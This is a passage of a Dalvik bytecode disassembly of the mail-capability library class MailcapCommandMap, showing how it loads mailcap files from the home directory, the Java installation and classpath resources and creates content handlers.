0000002E  invoke-virtual          Class->getClassLoader()ClassLoader, v2
00000034  move-result-object      v2
00000036  if-eq                   v1, v2, :12
:3A
0000003A  throw                   v0
          .catch SecurityException {:C .. :12} :18
.end method

.method public abstract getContentType(File)String
.end method

.method public abstract getContentType(String)String
.end method

#--------------------------------------------------------------------------------
.class public MailcapCommandMap
.super CommandMap
.source ""

.field private static final PROG:I
.field private static defDB:MailcapFile
.field private DB:[MailcapFile

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-object             v0, MailcapCommandMap->defDB:MailcapFile
00000006  return-void
.end method

.method public constructor <init>()V
          .registers 4
00000000  invoke-direct           CommandMap-><init>()V, p0
00000006  new-instance            v0, ArrayList
0000000A  const/4                 v1, 0x5
0000000C  invoke-direct           ArrayList-><init>(I)V, v0, v1
00000012  const/4                 v1, 0x0
00000014  invoke-interface        List->add(Object)Z, v0, v1
0000001A  const-string            v1, "MailcapCommandMap: load HOME"
0000001E  invoke-static           LogSupport->log(String)V, v1
:24
00000024  const-string            v1, "user.home"
00000028  invoke-static           System->getProperty(String)String, v1
0000002E  move-result-object      v1
00000030  if-eqz                  v1, :78
:34
00000034  new-instance            v2, StringBuilder
00000038  invoke-static           String->valueOf(Object)String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           StringBuilder-><init>(String)V, v2, v1
00000046  sget-object             v1, File->separator:String
0000004A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000050  move-result-object      v1
00000052  const-string            v2, ".mailcap"
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000005C  move-result-object      v1
0000005E  invoke-virtual          StringBuilder->toString()String, v1
00000064  move-result-object      v1
00000066  invoke-direct           MailcapCommandMap->loadFile(String)MailcapFile, p0, v1
0000006C  move-result-object      v1
0000006E  if-eqz                  v1, :78
:72
00000072  invoke-interface        List->add(Object)Z, v0, v1
:78
00000078  const-string            v1, "MailcapCommandMap: load SYS"
0000007C  invoke-static           LogSupport->log(String)V, v1
:82
00000082  new-instance            v1, StringBuilder
00000086  const-string            v2, "java.home"
0000008A  invoke-static           System->getProperty(String)String, v2
00000090  move-result-object      v2
00000092  invoke-static           String->valueOf(Object)String, v2
00000098  move-result-object      v2
0000009A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000A0  sget-object             v2, File->separator:String
000000A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000AA  move-result-object      v1
000000AC  const-string            v2, "lib"
000000B0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000B6  move-result-object      v1
000000B8  sget-object             v2, File->separator:String
000000BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000C2  move-result-object      v1
000000C4  const-string            v2, "mailcap"
000000C8  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000CE  move-result-object      v1
000000D0  invoke-virtual          StringBuilder->toString()String, v1
000000D6  move-result-object      v1
000000D8  invoke-direct           MailcapCommandMap->loadFile(String)MailcapFile, p0, v1
000000DE  move-result-object      v1
000000E0  if-eqz                  v1, :EA
:E4
000000E4  invoke-interface        List->add(Object)Z, v0, v1
:EA
000000EA  const-string            v1, "MailcapCommandMap: load JAR"
000000EE  invoke-static           LogSupport->log(String)V, v1
000000F4  const-string            v1, "mailcap"
000000F8  invoke-direct           MailcapCommandMap->loadAllResources(List, String)V, p0, v0, v1
000000FE  const-string            v1, "MailcapCommandMap: load DEF"
00000102  invoke-static           LogSupport->log(String)V, v1
00000108  const-class             v1, MailcapCommandMap
0000010C  monitor-enter           v1
:10E
0000010E  sget-object             v2, MailcapCommandMap->defDB:MailcapFile
00000112  if-nez                  v2, :126
:116
00000116  const-string            v2, "mailcap.default"
0000011A  invoke-direct           MailcapCommandMap->loadResource(String)MailcapFile, p0, v2
00000120  move-result-object      v2
00000122  sput-object             v2, MailcapCommandMap->defDB:MailcapFile
:126
00000126  monitor-exit            v1
:128
00000128  sget-object             v1, MailcapCommandMap->defDB:MailcapFile
0000012C  if-eqz                  v1, :13A
:130
00000130  sget-object             v1, MailcapCommandMap->defDB:MailcapFile
00000134  invoke-interface        List->add(Object)Z, v0, v1
:13A
0000013A  invoke-interface        List->size()I, v0
00000140  move-result             v1
00000142  new-array               v1, v1, [MailcapFile
00000146  iput-object             v1, p0, MailcapCommandMap->DB:[MailcapFile
0000014A  iget-object             v1, p0, MailcapCommandMap->DB:[MailcapFile
0000014E  invoke-interface        List->toArray([Object)[Object, v0, v1
00000154  move-result-object      v0
00000156  check-cast              v0, [MailcapFile
0000015A  iput-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000015E  return-void
:160
00000160  move-exception          v0
:162
00000162  monitor-exit            v1
:164
00000164  throw                   v0
:166
00000166  move-exception          v1
00000168  goto                    :EA
:16A
0000016A  move-exception          v1
0000016C  goto                    :78
          .catch SecurityException {:24 .. :78} :16A
          .catch SecurityException {:82 .. :EA} :166
          .catchall {:10E .. :128} :160
          .catchall {:162 .. :164} :160
.end method

.method public constructor <init>(InputStream)V
          .registers 5
00000000  const/4                 v1, 0x0
00000002  invoke-direct           MailcapCommandMap-><init>()V, p0
00000008  const-string            v0, "MailcapCommandMap: load PROG"
0000000C  invoke-static           LogSupport->log(String)V, v0
00000012  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000016  aget-object             v0, v0, v1
0000001A  if-nez                  v0, :32
:1E
0000001E  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000022  const/4                 v1, 0x0
00000024  new-instance            v2, MailcapFile
00000028  invoke-direct           MailcapFile-><init>(InputStream)V, v2, p1
0000002E  aput-object             v2, v0, v1
:32
00000032  return-void
:34
00000034  move-exception          v0
00000036  goto                    :32
          .catch IOException {:1E .. :32} :34
.end method

.method public constructor <init>(String)V
          .registers 5
00000000  const/4                 v2, 0x0
00000002  invoke-direct           MailcapCommandMap-><init>()V, p0
00000008  invoke-static           LogSupport->isLoggable()Z
0000000E  move-result             v0
00000010  if-eqz                  v0, :38
:14
00000014  new-instance            v0, StringBuilder
00000018  const-string            v1, "MailcapCommandMap: load PROG from "
0000001C  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000022  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000028  move-result-object      v0
0000002A  invoke-virtual          StringBuilder->toString()String, v0
00000030  move-result-object      v0
00000032  invoke-static           LogSupport->log(String)V, v0
:38
00000038  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000003C  aget-object             v0, v0, v2
00000040  if-nez                  v0, :56
:44
00000044  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000048  new-instance            v1, MailcapFile
0000004C  invoke-direct           MailcapFile-><init>(String)V, v1, p1
00000052  aput-object             v1, v0, v2
:56
00000056  return-void
.end method

.method private appendCmdsToList(Map, List)V
          .registers 8
00000000  invoke-interface        Map->keySet()Set, p1
00000006  move-result-object      v0
00000008  invoke-interface        Set->iterator()Iterator, v0
0000000E  move-result-object      v2
:10
00000010  invoke-interface        Iterator->hasNext()Z, v2
00000016  move-result             v0
00000018  if-nez                  v0, :1E
:1C
0000001C  return-void
:1E
0000001E  invoke-interface        Iterator->next()Object, v2
00000024  move-result-object      v0
00000026  check-cast              v0, String
0000002A  invoke-interface        Map->get(Object)Object, p1, v0
00000030  move-result-object      v1
00000032  check-cast              v1, List
00000036  invoke-interface        List->iterator()Iterator, v1
0000003C  move-result-object      v3
:3E
0000003E  invoke-interface        Iterator->hasNext()Z, v3
00000044  move-result             v1
00000046  if-eqz                  v1, :10
:4A
0000004A  invoke-interface        Iterator->next()Object, v3
00000050  move-result-object      v1
00000052  check-cast              v1, String
00000056  new-instance            v4, CommandInfo
0000005A  invoke-direct           CommandInfo-><init>(String, String)V, v4, v0, v1
00000060  invoke-interface        List->add(Object)Z, p2, v4
00000066  goto                    :3E
.end method

.method private appendPrefCmdsToList(Map, List)V
          .registers 7
00000000  invoke-interface        Map->keySet()Set, p1
00000006  move-result-object      v0
00000008  invoke-interface        Set->iterator()Iterator, v0
0000000E  move-result-object      v2
:10
00000010  invoke-interface        Iterator->hasNext()Z, v2
00000016  move-result             v0
00000018  if-nez                  v0, :1E
:1C
0000001C  return-void
:1E
0000001E  invoke-interface        Iterator->next()Object, v2
00000024  move-result-object      v0
00000026  check-cast              v0, String
0000002A  invoke-direct           MailcapCommandMap->checkForVerb(List, String)Z, p0, p2, v0
00000030  move-result             v1
00000032  if-nez                  v1, :10
:36
00000036  invoke-interface        Map->get(Object)Object, p1, v0
0000003C  move-result-object      v1
0000003E  check-cast              v1, List
00000042  const/4                 v3, 0x0
00000044  invoke-interface        List->get(I)Object, v1, v3
0000004A  move-result-object      v1
0000004C  check-cast              v1, String
00000050  new-instance            v3, CommandInfo
00000054  invoke-direct           CommandInfo-><init>(String, String)V, v3, v0, v1
0000005A  invoke-interface        List->add(Object)Z, p2, v3
00000060  goto                    :10
.end method

.method private checkForVerb(List, String)Z
          .registers 5
00000000  invoke-interface        List->iterator()Iterator, p1
00000006  move-result-object      v1
:8
00000008  invoke-interface        Iterator->hasNext()Z, v1
0000000E  move-result             v0
00000010  if-nez                  v0, :18
:14
00000014  const/4                 v0, 0x0
:16
00000016  return                  v0
:18
00000018  invoke-interface        Iterator->next()Object, v1
0000001E  move-result-object      v0
00000020  check-cast              v0, CommandInfo
00000024  invoke-virtual          CommandInfo->getCommandName()String, v0
0000002A  move-result-object      v0
0000002C  invoke-virtual          String->equals(Object)Z, v0, p2
00000032  move-result             v0
00000034  if-eqz                  v0, :8
:38
00000038  const/4                 v0, 0x1
0000003A  goto                    :16
.end method

.method private getDataContentHandler(String)DataContentHandler
          .registers 5
00000000  invoke-static           LogSupport->isLoggable()Z
00000006  move-result             v0
00000008  if-eqz                  v0, :16
:C
0000000C  const-string            v0, "    got content-handler"
00000010  invoke-static           LogSupport->log(String)V, v0
:16
00000016  invoke-static           LogSupport->isLoggable()Z
0000001C  move-result             v0
0000001E  if-eqz                  v0, :46
:22
00000022  new-instance            v0, StringBuilder
00000026  const-string            v1, "      class "
0000002A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000030  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000036  move-result-object      v0
00000038  invoke-virtual          StringBuilder->toString()String, v0
0000003E  move-result-object      v0
00000040  invoke-static           LogSupport->log(String)V, v0
:46
00000046  invoke-static           SecuritySupport->getContextClassLoader()ClassLoader
0000004C  move-result-object      v0
0000004E  if-nez                  v0, :62
:52
00000052  invoke-virtual          Object->getClass()Class, p0
00000058  move-result-object      v0
0000005A  invoke-virtual          Class->getClassLoader()ClassLoader, v0
:60
00000060  move-result-object      v0
:62
00000062  invoke-virtual          ClassLoader->loadClass(String)Class, v0, p1
:68
00000068  move-result-object      v0
:6A
0000006A  if-eqz                  v0, :BA
:6E
0000006E  invoke-virtual          Class->newInstance()Object, v0
00000074  move-result-object      v0
00000076  check-cast              v0, DataContentHandler
:7A
0000007A  return-object           v0
:7C
0000007C  move-exception          v0
0000007E  invoke-static           Class->forName(String)Class, p1
:84
00000084  move-result-object      v0
00000086  goto                    :6A
:88
00000088  move-exception          v0
0000008A  invoke-static           LogSupport->isLoggable()Z
00000090  move-result             v1
00000092  if-eqz                  v1, :BA
:96
00000096  new-instance            v1, StringBuilder
0000009A  const-string            v2, "Can\'t load DCH "
0000009E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
000000AA  move-result-object      v1
000000AC  invoke-virtual          StringBuilder->toString()String, v1
000000B2  move-result-object      v1
000000B4  invoke-static           LogSupport->log(String, Throwable)V, v1, v0
:BA
000000BA  const/4                 v0, 0x0
000000BC  goto                    :7A
:BE
000000BE  move-exception          v0
000000C0  invoke-static           LogSupport->isLoggable()Z
000000C6  move-result             v1
000000C8  if-eqz                  v1, :BA
:CC
000000CC  new-instance            v1, StringBuilder
000000D0  const-string            v2, "Can\'t load DCH "
000000D4  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000DA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
000000E0  move-result-object      v1
000000E2  invoke-virtual          StringBuilder->toString()String, v1
000000E8  move-result-object      v1
000000EA  invoke-static           LogSupport->log(String, Throwable)V, v1, v0
000000F0  goto                    :BA
:F2
000000F2  move-exception          v0
000000F4  invoke-static           LogSupport->isLoggable()Z
000000FA  move-result             v1
000000FC  if-eqz                  v1, :BA
:100
00000100  new-instance            v1, StringBuilder
00000104  const-string            v2, "Can\'t load DCH "
00000108  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000010E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
00000114  move-result-object      v1
00000116  invoke-virtual          StringBuilder->toString()String, v1
0000011C  move-result-object      v1
0000011E  invoke-static           LogSupport->log(String, Throwable)V, v1, v0
00000124  goto                    :BA
          .catch IllegalAccessException {:46 .. :60} :88
          .catch ClassNotFoundException {:46 .. :60} :BE
          .catch InstantiationException {:46 .. :60} :F2
          .catch Exception {:62 .. :68} :7C
          .catch IllegalAccessException {:62 .. :68} :88
          .catch ClassNotFoundException {:62 .. :68} :BE
          .catch InstantiationException {:62 .. :68} :F2
          .catch IllegalAccessException {:6E .. :84} :88
          .catch ClassNotFoundException {:6E .. :84} :BE
          .catch InstantiationException {:6E .. :84} :F2
.end method

.method private loadAllResources(List, String)V
          .registers 12
00000000  const/4                 v2, 0x0
:2
00000002  invoke-static           SecuritySupport->getContextClassLoader()ClassLoader
00000008  move-result-object      v0
0000000A  if-nez                  v0, :1E
:E
0000000E  invoke-virtual          Object->getClass()Class, p0
00000014  move-result-object      v0
00000016  invoke-virtual          Class->getClassLoader()ClassLoader, v0
0000001C  move-result-object      v0
:1E
0000001E  if-eqz                  v0, :9A
:22
00000022  invoke-static           SecuritySupport->getResources(ClassLoader, String)[URL, v0, p2
00000028  move-result-object      v0
0000002A  move-object             v4, v0
:2C
0000002C  if-eqz                  v4, :4E
:30
00000030  invoke-static           LogSupport->isLoggable()Z
00000036  move-result             v0
00000038  if-eqz                  v0, :46
:3C
0000003C  const-string            v0, "MailcapCommandMap: getResources"
00000040  invoke-static           LogSupport->log(String)V, v0
:46
00000046  move                    v3, v2
:48
00000048  array-length            v0, v4
:4A
0000004A  if-lt                   v3, v0, :A6
:4E
0000004E  if-nez                  v2, :98
:52
00000052  invoke-static           LogSupport->isLoggable()Z
00000058  move-result             v0
0000005A  if-eqz                  v0, :68
:5E
0000005E  const-string            v0, "MailcapCommandMap: !anyLoaded"
00000062  invoke-static           LogSupport->log(String)V, v0
:68
00000068  new-instance            v0, StringBuilder
0000006C  const-string            v1, "/"
00000070  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000076  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p2
0000007C  move-result-object      v0
0000007E  invoke-virtual          StringBuilder->toString()String, v0
00000084  move-result-object      v0
00000086  invoke-direct           MailcapCommandMap->loadResource(String)MailcapFile, p0, v0
0000008C  move-result-object      v0
0000008E  if-eqz                  v0, :98
:92
00000092  invoke-interface        List->add(Object)Z, p1, v0
:98
00000098  return-void
:9A
0000009A  invoke-static           SecuritySupport->getSystemResources(String)[URL, p2
000000A0  move-result-object      v0
000000A2  move-object             v4, v0
000000A4  goto                    :2C
:A6
000000A6  aget-object             v5, v4, v3
000000AA  const/4                 v1, 0x0
000000AC  invoke-static           LogSupport->isLoggable()Z
000000B2  move-result             v0
000000B4  if-eqz                  v0, :DC
:B8
000000B8  new-instance            v0, StringBuilder
000000BC  const-string            v6, "MailcapCommandMap: URL "
000000C0  invoke-direct           StringBuilder-><init>(String)V, v0, v6
000000C6  invoke-virtual          StringBuilder->append(Object)StringBuilder, v0, v5
000000CC  move-result-object      v0
000000CE  invoke-virtual          StringBuilder->toString()String, v0
000000D4  move-result-object      v0
000000D6  invoke-static           LogSupport->log(String)V, v0
:DC
000000DC  invoke-static           SecuritySupport->openStream(URL)InputStream, v5
:E2
000000E2  move-result-object      v1
000000E4  if-eqz                  v1, :140
:E8
000000E8  new-instance            v0, MailcapFile
000000EC  invoke-direct           MailcapFile-><init>(InputStream)V, v0, v1
000000F2  invoke-interface        List->add(Object)Z, p1, v0
000000F8  const/4                 v2, 0x1
000000FA  invoke-static           LogSupport->isLoggable()Z
00000100  move-result             v0
00000102  if-eqz                  v0, :284
:106
00000106  new-instance            v0, StringBuilder
0000010A  const-string            v6, "MailcapCommandMap: successfully loaded mailcap file from URL: "
0000010E  invoke-direct           StringBuilder-><init>(String)V, v0, v6
00000114  invoke-virtual          StringBuilder->append(Object)StringBuilder, v0, v5
0000011A  move-result-object      v0
0000011C  invoke-virtual          StringBuilder->toString()String, v0
00000122  move-result-object      v0
00000124  invoke-static           LogSupport->log(String)V, v0
:12A
0000012A  move                    v0, v2
:12C
0000012C  if-eqz                  v1, :136
:130
00000130  invoke-virtual          InputStream->close()V, v1
:136
00000136  add-int/lit8            v2, v3, 0x1
0000013A  move                    v3, v2
0000013C  move                    v2, v0
0000013E  goto                    :48
:140
00000140  invoke-static           LogSupport->isLoggable()Z
00000146  move-result             v0
00000148  if-eqz                  v0, :284
:14C
0000014C  new-instance            v0, StringBuilder
00000150  const-string            v6, "MailcapCommandMap: not loading mailcap file from URL: "
00000154  invoke-direct           StringBuilder-><init>(String)V, v0, v6
0000015A  invoke-virtual          StringBuilder->append(Object)StringBuilder, v0, v5
00000160  move-result-object      v0
00000162  invoke-virtual          StringBuilder->toString()String, v0
00000168  move-result-object      v0
0000016A  invoke-static           LogSupport->log(String)V, v0
:170
00000170  move                    v0, v2
00000172  goto                    :12C
:174
00000174  move-exception          v0
00000176  move-object             v8, v0
00000178  move                    v0, v2
0000017A  move-object             v2, v1
0000017C  move-object             v1, v8
:17E
0000017E  invoke-static           LogSupport->isLoggable()Z
00000184  move-result             v6
00000186  if-eqz                  v6, :1AE
:18A
0000018A  new-instance            v6, StringBuilder
0000018E  const-string            v7, "MailcapCommandMap: can\'t load "
00000192  invoke-direct           StringBuilder-><init>(String)V, v6, v7
00000198  invoke-virtual          StringBuilder->append(Object)StringBuilder, v6, v5
0000019E  move-result-object      v5
000001A0  invoke-virtual          StringBuilder->toString()String, v5
000001A6  move-result-object      v5
000001A8  invoke-static           LogSupport->log(String, Throwable)V, v5, v1
:1AE
000001AE  if-eqz                  v2, :136
:1B2
000001B2  invoke-virtual          InputStream->close()V, v2
:1B8
000001B8  goto                    :136
:1BA
000001BA  move-exception          v1
000001BC  goto                    :136
:1BE
000001BE  move-exception          v0
000001C0  move-object             v8, v0
000001C2  move                    v0, v2
000001C4  move-object             v2, v1
000001C6  move-object             v1, v8
:1C8
000001C8  invoke-static           LogSupport->isLoggable()Z
000001CE  move-result             v6
000001D0  if-eqz                  v6, :1F8
:1D4
000001D4  new-instance            v6, StringBuilder
000001D8  const-string            v7, "MailcapCommandMap: can\'t load "
000001DC  invoke-direct           StringBuilder-><init>(String)V, v6, v7
000001E2  invoke-virtual          StringBuilder->append(Object)StringBuilder, v6, v5
000001E8  move-result-object      v5
000001EA  invoke-virtual          StringBuilder->toString()String, v5
000001F0  move-result-object      v5
000001F2  invoke-static           LogSupport->log(String, Throwable)V, v5, v1
:1F8
000001F8  if-eqz                  v2, :136
:1FC
000001FC  invoke-virtual          InputStream->close()V, v2
:202
00000202  goto                    :136
:204
00000204  move-exception          v1
00000206  goto                    :136
:208
00000208  move-exception          v0
:20A
0000020A  if-eqz                  v1, :214
:20E
0000020E  invoke-virtual          InputStream->close()V, v1
:214
00000214  throw                   v0
:216
00000216  move-exception          v0
:218
00000218  invoke-static           LogSupport->isLoggable()Z
0000021E  move-result             v1
00000220  if-eqz                  v1, :4E
:224
00000224  new-instance            v1, StringBuilder
00000228  const-string            v3, "MailcapCommandMap: can\'t load "
0000022C  invoke-direct           StringBuilder-><init>(String)V, v1, v3
00000232  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p2
00000238  move-result-object      v1
0000023A  invoke-virtual          StringBuilder->toString()String, v1
00000240  move-result-object      v1
00000242  invoke-static           LogSupport->log(String, Throwable)V, v1, v0
00000248  goto/16                 :4E
:24C
0000024C  move-exception          v1
0000024E  goto                    :214
:250
00000250  move-exception          v1
00000252  goto/16                 :136
:256
00000256  move-exception          v1
00000258  move                    v2, v0
0000025A  move-object             v0, v1
0000025C  goto                    :218
:25E
0000025E  move-exception          v1
00000260  move-object             v8, v1
00000262  move-object             v1, v2
00000264  move                    v2, v0
00000266  move-object             v0, v8
00000268  goto                    :20A
:26A
0000026A  move-exception          v0
0000026C  move-object             v8, v0
0000026E  move                    v0, v2
00000270  move-object             v2, v1
00000272  move-object             v1, v8
00000274  goto                    :1C8
:276
00000276  move-exception          v0
00000278  move-object             v8, v0
0000027A  move                    v0, v2
0000027C  move-object             v2, v1
0000027E  move-object             v1, v8
00000280  goto/16                 :17E
:284
00000284  move                    v0, v2
00000286  goto/16                 :12C
          .catch Exception {:2 .. :4A} :216
          .catch Exception {:9A .. :DC} :216
          .catch IOException {:DC .. :E2} :174
          .catch SecurityException {:DC .. :E2} :1BE
          .catchall {:DC .. :E2} :208
          .catch IOException {:E8 .. :12A} :276
          .catch SecurityException {:E8 .. :12A} :26A
          .catchall {:E8 .. :12A} :208
          .catch IOException {:130 .. :136} :250
          .catch Exception {:130 .. :136} :256
          .catch IOException {:140 .. :170} :276
          .catch SecurityException {:140 .. :170} :26A
          .catchall {:140 .. :170} :208
          .catchall {:17E .. :1AE} :25E
          .catch IOException {:1B2 .. :1B8} :1BA
          .catch Exception {:1B2 .. :1B8} :256
          .catchall {:1C8 .. :1F8} :25E
          .catch IOException {:1FC .. :202} :204
          .catch Exception {:1FC .. :202} :256
          .catch IOException {:20E .. :214} :24C
          .catch Exception {:20E .. :214} :216
          .catch Exception {:214 .. :216} :216
.end method

.method private loadFile(String)MailcapFile
          .registers 4
00000000  const/4                 v1, 0x0
:2
00000002  new-instance            v0, MailcapFile
00000006  invoke-direct           MailcapFile-><init>(String)V, v0, p1
:C
0000000C  return-object           v0
:E
0000000E  move-exception          v0
00000010  move-object             v0, v1
00000012  goto                    :C
          .catch IOException {:2 .. :C} :E
.end method

.method private loadResource(String)MailcapFile
          .registers 7
00000000  const/4                 v1, 0x0
:2
00000002  invoke-virtual          Object->getClass()Class, p0
00000008  move-result-object      v0
0000000A  invoke-static           SecuritySupport->getResourceAsStream(Class, String)InputStream, v0, p1
:10
00000010  move-result-object      v2
00000012  if-eqz                  v2, :5C
:16
00000016  new-instance            v0, MailcapFile
0000001A  invoke-direct           MailcapFile-><init>(InputStream)V, v0, v2
00000020  invoke-static           LogSupport->isLoggable()Z
00000026  move-result             v3
00000028  if-eqz                  v3, :50
:2C
0000002C  new-instance            v3, StringBuilder
00000030  const-string            v4, "MailcapCommandMap: successfully loaded mailcap file: "
00000034  invoke-direct           StringBuilder-><init>(String)V, v3, v4
0000003A  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p1
00000040  move-result-object      v3
00000042  invoke-virtual          StringBuilder->toString()String, v3
00000048  move-result-object      v3
0000004A  invoke-static           LogSupport->log(String)V, v3
:50
00000050  if-eqz                  v2, :5A
:54
00000054  invoke-virtual          InputStream->close()V, v2
:5A
0000005A  return-object           v0
:5C
0000005C  invoke-static           LogSupport->isLoggable()Z
00000062  move-result             v0
00000064  if-eqz                  v0, :8C
:68
00000068  new-instance            v0, StringBuilder
0000006C  const-string            v3, "MailcapCommandMap: not loading mailcap file: "
00000070  invoke-direct           StringBuilder-><init>(String)V, v0, v3
00000076  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000007C  move-result-object      v0
0000007E  invoke-virtual          StringBuilder->toString()String, v0
00000084  move-result-object      v0
00000086  invoke-static           LogSupport->log(String)V, v0
:8C
0000008C  if-eqz                  v2, :96
:90
00000090  invoke-virtual          InputStream->close()V, v2
:96
00000096  move-object             v0, v1
00000098  goto                    :5A
:9A
0000009A  move-exception          v0
0000009C  move-object             v2, v1
:9E
0000009E  invoke-static           LogSupport->isLoggable()Z
000000A4  move-result             v3
000000A6  if-eqz                  v3, :CE
:AA
000000AA  new-instance            v3, StringBuilder
000000AE  const-string            v4, "MailcapCommandMap: can\'t load "
000000B2  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000000B8  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p1
000000BE  move-result-object      v3
000000C0  invoke-virtual          StringBuilder->toString()String, v3
000000C6  move-result-object      v3
000000C8  invoke-static           LogSupport->log(String, Throwable)V, v3, v0
:CE
000000CE  if-eqz                  v2, :96
:D2
000000D2  invoke-virtual          InputStream->close()V, v2
:D8
000000D8  goto                    :96
:DA
000000DA  move-exception          v0
000000DC  goto                    :96
:DE
000000DE  move-exception          v0
000000E0  move-object             v2, v1
:E2
000000E2  invoke-static           LogSupport->isLoggable()Z
000000E8  move-result             v3
000000EA  if-eqz                  v3, :112
:EE
000000EE  new-instance            v3, StringBuilder
000000F2  const-string            v4, "MailcapCommandMap: can\'t load "
000000F6  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000000FC  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p1
00000102  move-result-object      v3
00000104  invoke-virtual          StringBuilder->toString()String, v3
0000010A  move-result-object      v3
0000010C  invoke-static           LogSupport->log(String, Throwable)V, v3, v0
:112
00000112  if-eqz                  v2, :96
:116
00000116  invoke-virtual          InputStream->close()V, v2
:11C
0000011C  goto                    :96
:11E
0000011E  move-exception          v0
00000120  goto                    :96
:122
00000122  move-exception          v0
00000124  move-object             v2, v1
:126
00000126  if-eqz                  v2, :130
:12A
0000012A  invoke-virtual          InputStream->close()V, v2
:130
00000130  throw                   v0
:132
00000132  move-exception          v1
00000134  goto                    :5A
:136
00000136  move-exception          v1
00000138  goto                    :130
:13A
0000013A  move-exception          v0
0000013C  goto                    :96
:13E
0000013E  move-exception          v0
00000140  goto                    :126
:142
00000142  move-exception          v0
00000144  goto                    :E2
:146
00000146  move-exception          v0
00000148  goto                    :9E
          .catch IOException {:2 .. :10} :9A
          .catch SecurityException {:2 .. :10} :DE
          .catchall {:2 .. :10} :122
          .catch IOException {:16 .. :50} :146
          .catch SecurityException {:16 .. :50} :142
          .catchall {:16 .. :50} :13E
          .catch IOException {:54 .. :5A} :132
          .catch IOException {:5C .. :8C} :146
          .catch SecurityException {:5C .. :8C} :142
          .catchall {:5C .. :8C} :13E
          .catch IOException {:90 .. :96} :13A
          .catchall {:9E .. :CE} :13E
          .catch IOException {:D2 .. :D8} :DA
          .catchall {:E2 .. :112} :13E
          .catch IOException {:116 .. :11C} :11E
          .catch IOException {:12A .. :130} :136
.end method

.method public declared-synchronized addMailcap(String)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  const-string            v0, "MailcapCommandMap: add to PROG"
00000006  invoke-static           LogSupport->log(String)V, v0
0000000C  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000010  const/4                 v1, 0x0
00000012  aget-object             v0, v0, v1
00000016  if-nez                  v0, :2E
:1A
0000001A  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000001E  const/4                 v1, 0x0
00000020  new-instance            v2, MailcapFile
00000024  invoke-direct           MailcapFile-><init>()V, v2
0000002A  aput-object             v2, v0, v1
:2E
0000002E  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000032  const/4                 v1, 0x0
00000034  aget-object             v0, v0, v1
00000038  invoke-virtual          MailcapFile->appendToMailcap(String)V, v0, p1
:3E
0000003E  monitor-exit            p0
00000040  return-void
:42
00000042  move-exception          v0
00000044  monitor-exit            p0
00000046  throw                   v0
          .catchall {:2 .. :3E} :42
.end method

.method public declared-synchronized createDataContentHandler(String)DataContentHandler
          .registers 6
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-static           LogSupport->isLoggable()Z
0000000A  move-result             v0
0000000C  if-eqz                  v0, :34
:10
00000010  new-instance            v0, StringBuilder
00000014  const-string            v2, "MailcapCommandMap: createDataContentHandler for "
00000018  invoke-direct           StringBuilder-><init>(String)V, v0, v2
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000024  move-result-object      v0
00000026  invoke-virtual          StringBuilder->toString()String, v0
0000002C  move-result-object      v0
0000002E  invoke-static           LogSupport->log(String)V, v0
:34
00000034  if-eqz                  p1, :44
:38
00000038  sget-object             v0, Locale->ENGLISH:Locale
0000003C  invoke-virtual          String->toLowerCase(Locale)String, p1, v0
00000042  move-result-object      p1
:44
00000044  move                    v2, v1
:46
00000046  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000004A  array-length            v0, v0
0000004C  if-lt                   v2, v0, :60
:50
00000050  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000054  array-length            v0, v0
:56
00000056  if-lt                   v1, v0, :E8
:5A
0000005A  const/4                 v0, 0x0
:5C
0000005C  monitor-exit            p0
0000005E  return-object           v0
:60
00000060  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000064  aget-object             v0, v0, v2
00000068  if-nez                  v0, :74
:6C
0000006C  add-int/lit8            v0, v2, 0x1
00000070  move                    v2, v0
00000072  goto                    :46
:74
00000074  invoke-static           LogSupport->isLoggable()Z
0000007A  move-result             v0
0000007C  if-eqz                  v0, :A4
:80
00000080  new-instance            v0, StringBuilder
00000084  const-string            v3, "  search DB #"
00000088  invoke-direct           StringBuilder-><init>(String)V, v0, v3
0000008E  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, v2
00000094  move-result-object      v0
00000096  invoke-virtual          StringBuilder->toString()String, v0
0000009C  move-result-object      v0
